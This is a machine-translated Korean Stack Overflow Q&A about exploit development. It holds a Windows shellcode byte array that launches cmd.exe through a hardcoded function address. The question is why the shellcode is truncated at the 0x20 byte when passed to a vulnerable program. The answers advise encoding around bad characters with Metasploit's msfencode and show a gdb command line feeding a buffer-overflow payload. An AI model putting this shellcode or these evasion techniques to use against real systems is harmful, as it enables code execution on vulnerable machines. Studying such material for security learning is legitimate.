문제

왜 내 쉘 코드가 잘린 후에 잘린가? \x20 OpCode, 두 번째 취약 프로그램에서 문자열로 복사 할 때?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
도움이 되었습니까?

해결책

이 쉘 코드를 명령 줄 인수로 전달하고 있습니까? 이 경우 0x20의 ASCII 코드를 살펴보십시오.)

다른 팁

내 이론은 인용문, 공간, Null 등과 같은 것들이 전송되지 않고 Windows 쉘에 의해 해석되고 있다는 것입니다. 어떻게 든 탈출 할 수는 있지만 쉘 코드를 인코딩하는 것이 더 쉽다고 생각합니다. 따라서 Metasploit의 MSFencode 유틸리티를 사용하여 이러한 opcode를 모두 피하십시오. 나는 null (/x00), 공간 (/x20) 및 인용문 (/x22)을 직접 전달할 수 없지만 전달할 수없는 다른 opcode가 있다고 생각합니다.

그게 내 해결책이지만 다른 사람을 아는 사람이 있습니까?

전체 명령 주위에 이중 인용문을 넣습니다. 예를 들어, 실행 :

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top